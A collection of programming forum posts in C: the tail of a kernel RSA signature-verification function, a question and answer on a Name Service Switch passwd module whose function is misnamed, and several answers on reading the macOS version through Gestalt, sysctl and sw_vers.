0xb7,0xa8,0x48,0x1c,0x31,0x80,0xab,0xa3,0x16,0x23,0xc8,0xb8,0x2b,0xf6,0x99,0x5b,0x90,0x64,0xe1,0x4f,0xda,0xe4,0xfc,0x4c,0xa4,0xbe,0x58,0x9c,0xec,0xef,0x9c,0x92,0x56,0x05,0x3e,0xa3,0xcc,0x00,0xd3,0x7e,0xa3,0xab,0x09,0xd7,0xc9,0x3f,0x2b,0x28,0x4f,0x14,0x57,0x2a,0x24,0x56,0x07,0x55,0xc1,0xbe,0xf8,0xbe,0x41,0x8d,0xa3,0xa4,0x79,0xdd,0x27,0x3e,0xc6,0x32,0xe1,0x80,0xe3,0x40,0x27,0x48,0x9f,0xe8,0xb6,0x87,0xee,0x4e,0x8a,0x82,0x6c,0x6c,0x32,0x50,0x7a,0x28,0x63,0xbc,0xb2,0xd4,0x59,0x50,0x66,0x07,0xb9,0x93,0x27,0x1b,0x45,0x35,0x00,0x15,0xe2,0x6e,0x7d,0xf8,0xb6,0x75,0x9b,0x3a,0xb8,0xc5,0xe5,0x1d,0xda,0x4c,0xdc,0x01,0xb2,0x69,0x7f,0x87,0x08,0x6e,0x11,0xb7,0xcd,0x1f,0x9f,0xaa,0xb4,0xe4,0x13,0x4e,0x67,0x1f,0x60,0x9c,0x30,0x7d,0xec,0xf1,0xf4,0x0d,0x72,0x62,0x39,0x51,0x82,0x9f,0x5f,0x25,0x1f,0x4a,0xff,0x73,0x88,0xf1,0x8e,0x2d,0x6e,0xec,0xa9,0x2a,0xea,0xca,0x49,0x39,0x6d,0x00,0xeb,0xb8,0x25,0x2b,0x02,0x06,0xcf,0xf3,0xa7,0xe2,0x14,0xcd,0xd6,0x5c,0xfa,0xd0,0x87,0x6b,0x29,0xc5,0xc4,0xe0,0x97,0x76,0x6b,0xd8,0x7c,0x49,0x63,0x2e,0xc9,0x96,0xf6,0xb2,0x3b,0x2d,0x35,0x77,0x3c,0x33,0x09,0x39,0xa6,0xff,0xb2,0x98,0x27,0x61,0x32,0x5b,0x30,0x30,0xd5,0xee,0xa0,0xcb,0x0a,0xb1,0xc7,0x6d,0x7b,0xf5,0x1a,0x12,0x25,0xe1,0xf0,0x78,0x4f,0xd9,0x54,0x32,0xb7,0x3b,0x6f,0xf3,0x33,0x9e,0xa8,0x58,0x7c,0xa3 };
struct public_key rsa_pub_key = {
.key = public_key_bytes,
.keylen = 270,
.pkey_algo = "rsa",
.id_type = "X509"
};
struct public_key_signature sig = {
.s = signature_bytes,
.s_size = 256,
.digest = digest,
.digest_size = 32,
.pkey_algo = "rsa",
.hash_algo = "sha256"
};
int error = public_key_verify_signature1(&rsa_pub_key, &sig);
if (error) {
pr_info("error verifying. error %d '%s'\n", error, get_error(error));
return -1;
}
return 0;
}

Adding a Service to Name Service Switch

So I am trying to add a service to NSS (Name Service Switch). Please note the GNU guide on how to do it here. I have been following that guide. I need to implement a service that works with the passwd database.
The problem I am having is my module is not being called for certain functions. Let me reproduce some of my code here...
enum nss_status
_nss_myservice_setpwent (void) {
printf( "# %s\n", __FUNCTION__ ) ;
return NSS_STATUS_SUCCESS ;
} ;
enum nss_status
_nss_myservice_endpwent (void) {
printf( "# %s\n", __FUNCTION__ ) ;
return NSS_STATUS_SUCCESS ;
} ;
enum nss_status
_nss_myservice_getpwent_r (struct passwd *result, char *buffer,
size_t buflen, int *errnop) {
static int i = 0 ;
if( i++ == 0 ) {
printf( "# %s\n", __FUNCTION__ ) ;
return init_result( result, buffer, buflen, errnop ) ;
} else {
i = 0 ;
return NSS_STATUS_NOTFOUND ;
}
} ;
enum nss_status
_nss_myservice_getpwbynam (const char *nam, struct passwd *result, char *buffer,
size_t buflen, int *errnop) {
printf( "# %s with name %s\n", __FUNCTION__, nam ) ;
return init_result( result, buffer, buflen, errnop ) ;
} ;
enum nss_status
_nss_myservice_getpwbynam_r (const char *nam, struct passwd *result, char *buffer,
size_t buflen, int *errnop) {
printf( "# %s with name_r %s\n", __FUNCTION__, nam ) ;
return init_result( result, buffer, buflen, errnop ) ;
} ;
Init_result is an inline function that simply fills in the result with a dummy user no matter what the PARAMS are.
Now I have my /etc/nsswitch.conf setup as follows:
passwd: myservice compat
And for completeness here is my Makefile.
all:
gcc -fPIC -shared -o libnss_myservice.so.2 -Wl,-soname,libnss_myservice.so.2 myservice.c
install:
sudo install -m 0644 libnss_myservice.so.2 /lib
sudo /sbin/ldconfig -n /lib /usr/lib
clean:
/bin/rf -rf libnss_myservice.so.2
Now after installing this nss module I run getent on the command line and here is my output:
username#host:~/nss$ getent passwd
# _nss_myservice_setpwent
# _nss_myservice_getpwent_r
myuser:mypass:1:1:realname::
root:x:0:0:root:/root:/bin/bash
...
# _nss_myservice_endpwent
So as you can see that is working as I would expect. The iterative call is made which returns the user and then the compat service is called which returns all the user from /etc/passwd.
The problem is when I make this call, "getent passwd myuser", I get a return value of 2, "Key not found in database". This shows me my _nss_myservice_getpwbynam_r function is not being called. Any ideas why? I can provide the complete code if that would help.
You need to call the function _nss_myservice_getpwnam_r instead of _nss_myservice_getpwbynam_r.
After looking at ftp://ftp.acer-euro.com/gpl/Utility/glibc/glibc-2.2.5.tar/include/pwd.h :
#define DECLARE_NSS_PROTOTYPES(service) \
extern enum nss_status _nss_ ## service ## _setpwent (int); \
extern enum nss_status _nss_ ## service ## _endpwent (void); \
extern enum nss_status _nss_ ## service ## _getpwnam_r \ <<< this line
(const char *name, struct passwd *pwd, \
char *buffer, size_t buflen, int *errnop); \
extern enum nss_status _nss_ ## service ## _getpwuid_r \
(uid_t uid, struct passwd *pwd, \
char *buffer, size_t buflen, int *errnop); \
extern enum nss_status _nss_ ## service ##_getpwent_r \
(struct passwd *result, char *buffer, \
size_t buflen, int *errnop);

Getting the OS version in Mac OS X using standard C

I'm trying to get the version of Mac OS X programmatically in C. After searching for a while I tried this code:
#include <CoreServices/CoreServices.h>
int GetOS()
{
SInt32 majorVersion,minorVersion,bugFixVersion;
Gestalt(gestaltSystemVersionMajor, &majorVersion);
Gestalt(gestaltSystemVersionMinor, &minorVersion);
Gestalt(gestaltSystemVersionBugFix, &bugFixVersion);
printf("Running on Mac OS X %d.%d.%d\n",majorVersion,minorVersion,bugFixVersion);
return 0;
}
XCode returns an LD error:
Undefined symbols for architecture x86_64:
"_Gestalt", referenced from:
_GetOS in main.o
What am I missing? How do you do this?
I found also this snippet
[[NSProcessInfo processInfo] operatingSystemVersionString]
But I have no idea how to write that in C.
Did you pass the appropriate framework to GCC in order to enable CoreServices?
% gcc -framework CoreServices -o getos main.c
The code below should work in the foreseeable future for figuring out the current version of Mac Os X.
/* McUsr put this together, and into public domain,
without any guarrantees about anything,
but the statement that it works for me.
*/
#if 1 == 1
#define TESTING
#endif
#include <sys/param.h>
#include <sys/sysctl.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
struct osver {
int minor;
int sub;
} ;
typedef struct osver osxver ;
void macosx_ver(char *darwinversion, osxver *osxversion ) ;
char *osversionString(void) ;
#ifdef TESTING
int main( int argc, char *argv[] )
{
osxver foundver;
char *osverstr= NULL ;
osverstr=osversionString() ;
macosx_ver(osverstr, &foundver ) ;
printf("Mac os x version = 10.%d.%d\n",foundver.minor,foundver.sub );
free(osverstr);
return 0;
}
#endif
char *osversionString(void) {
int mib[2];
size_t len;
char *kernelVersion=NULL;
mib[0] = CTL_KERN;
mib[1] = KERN_OSRELEASE;
if (sysctl(mib, 2, NULL, &len, NULL, 0) < 0 ) {
fprintf(stderr,"%s: Error during sysctl probe call!\n",__PRETTY_FUNCTION__ );
fflush(stdout);
exit(4) ;
}
kernelVersion = malloc(len );
if (kernelVersion == NULL ) {
fprintf(stderr,"%s: Error during malloc!\n",__PRETTY_FUNCTION__ );
fflush(stdout);
exit(4) ;
}
if (sysctl(mib, 2, kernelVersion, &len, NULL, 0) < 0 ) {
fprintf(stderr,"%s: Error during sysctl get verstring call!\n",__PRETTY_FUNCTION__ );
fflush(stdout);
exit(4) ;
}
return kernelVersion ;
}
void macosx_ver(char *darwinversion, osxver *osxversion ) {
/*
From the book Mac Os X and IOS Internals:
In version 10.1.1, Darwin (the core OS) was renumbered from v1.4.1 to 5.1,
and since then has followed the OS X numbers consistently by being four
numbers ahead of the minor version, and aligning its own minor with the
sub-version.
*/
char firstelm[2]= {0,0},secElm[2]={0,0};
if (strlen(darwinversion) < 5 ) {
fprintf(stderr,"%s: %s Can't possibly be a version string. Exiting\n",__PRETTY_FUNCTION__,darwinversion);
fflush(stdout);
exit(2);
}
char *s=darwinversion,*t=firstelm,*curdot=strchr(darwinversion,'.' );
while ( s != curdot )
*t++ = *s++;
t=secElm ;
curdot=strchr(++s,'.' );
while ( s != curdot )
*t++ = *s++;
int maj=0, min=0;
maj= (int)strtol(firstelm, (char **)NULL, 10);
if ( maj == 0 && errno == EINVAL ) {
fprintf(stderr,"%s Error during conversion of version string\n",__PRETTY_FUNCTION__);
fflush(stdout);
exit(4);
}
min=(int)strtol(secElm, (char **)NULL, 10);
if ( min == 0 && errno == EINVAL ) {
fprintf(stderr,"%s: Error during conversion of version string\n",__PRETTY_FUNCTION__);
fflush(stdout);
exit(4);
}
osxversion->minor=maj-4;
osxversion->sub=min;
}
Here is one with "less work", good enough for home projects (statically allocated buffers, ignoring errors). Works for me in OS X 10.11.1.
#include <stdio.h>
/*!
#brief Returns one component of the OS version
#param component 1=major, 2=minor, 3=bugfix
*/
int GetOSVersionComponent(int component) {
char cmd[64] ;
sprintf(
cmd,
"sw_vers -productVersion | awk -F '.' '{print $%d}'",
component
) ;
FILE* stdoutFile = popen(cmd, "r") ;
int answer = 0 ;
if (stdoutFile) {
char buff[16] ;
char *stdout = fgets(buff, sizeof(buff), stdoutFile) ;
pclose(stdoutFile) ;
sscanf(stdout, "%d", &answer) ;
}
return answer ;
}
int main(int argc, const char * argv[]) {
printf(
"Your OS version is: %d.%d.%d\n",
GetOSVersionComponent(1),
GetOSVersionComponent(2),
GetOSVersionComponent(3)
) ;
return 0 ;
}
Using the hint from #uchuugaka in the comment on the answer by #McUsr, I wrote a function that seems to work. I'm not saying it's better than any other answer.
/*
* Structure for MacOS version number
*/
typedef struct macos_version_str
{
ushort major;
ushort minor;
ushort point;
} macos_type;
/****************************************************************************
*
* Determine the MacOS version.
*
* Parameters:
* version_struct: (pointer to) macos_version structure to be filled in.
*
* Return value:
* 0: no error.
*
****************************************************************************/
static int get_macos_version ( macos_type *version_struct )
{
char os_temp [20] = "";
char *os_temp_ptr = os_temp;
size_t os_temp_len = sizeof(os_temp);
size_t os_temp_left = 0;
int rslt = 0;
version_struct->major = 0;
version_struct->minor = 0;
version_struct->point = 0;
rslt = sysctlbyname ( "kern.osproductversion", os_temp, &os_temp_len, NULL, 0 );
if ( rslt != 0 )
{
fprintf ( stderr,
"sysctlbyname() returned %d error (%d): %s",
rslt, errno, strerror(errno));
return ( rslt );
}
os_temp_left = os_temp_len; /* length of string returned */
int temp = atoi ( os_temp_ptr );
version_struct->major = temp;
version_struct->major = atoi ( os_temp_ptr );
while ( os_temp_left > 0 && *os_temp_ptr != '.' )
{
os_temp_left--;
os_temp_ptr++;
}
os_temp_left--;
os_temp_ptr++;
version_struct->minor = atoi ( os_temp_ptr );
while ( os_temp_left > 0 && *os_temp_ptr != '.' )
{
os_temp_left--;
os_temp_ptr++;
}
os_temp_left--;
os_temp_ptr++;
version_struct->point = atoi ( os_temp_ptr );
fprintf ( stderr, "Calculated OS Version: %d.%d.%d", version_struct->major, version_struct->minor, version_struct->point );
if ( version_struct->major == 0 ||
version_struct->minor == 0 ||
version_struct->point == 0 )
{
fprintf ( stderr, "Unable to parse MacOS version string %s", os_temp );
return ( -2 );
}
return 0;
}
If for whatever reason you want to avoid the Gestalt API (which still works fine, but is deprecated), the macosx_deployment_target.c in cctools contains a code snippet that uses the CTL_KERN + KERN_OSRELEASE sysctl(), similar to other answers here.
Here's a small program adapted from that code and taking macOS 11 and newer (tested and verified with up to macOS 12.6, which was at time of updating this post the latest stable release) into account:
#include <stdio.h>
#include <sys/sysctl.h>
int main()
{
char osversion[32];
size_t osversion_len = sizeof(osversion) - 1;
int osversion_name[] = { CTL_KERN, KERN_OSRELEASE };
if (sysctl(osversion_name, 2, osversion, &osversion_len, NULL, 0) == -1) {
printf("sysctl() failed\n");
return 1;
}
uint32_t major, minor;
if (sscanf(osversion, "%u.%u", &major, &minor) != 2) {
printf("sscanf() failed\n");
return 1;
}
if (major >= 20) {
major -= 9;
// macOS 11 and newer
printf("%u.%u\n", major, minor);
} else {
major -= 4;
// macOS 10.1.1 and newer
printf("10.%u.%u\n", major, minor);
}
return 0;
}

Resources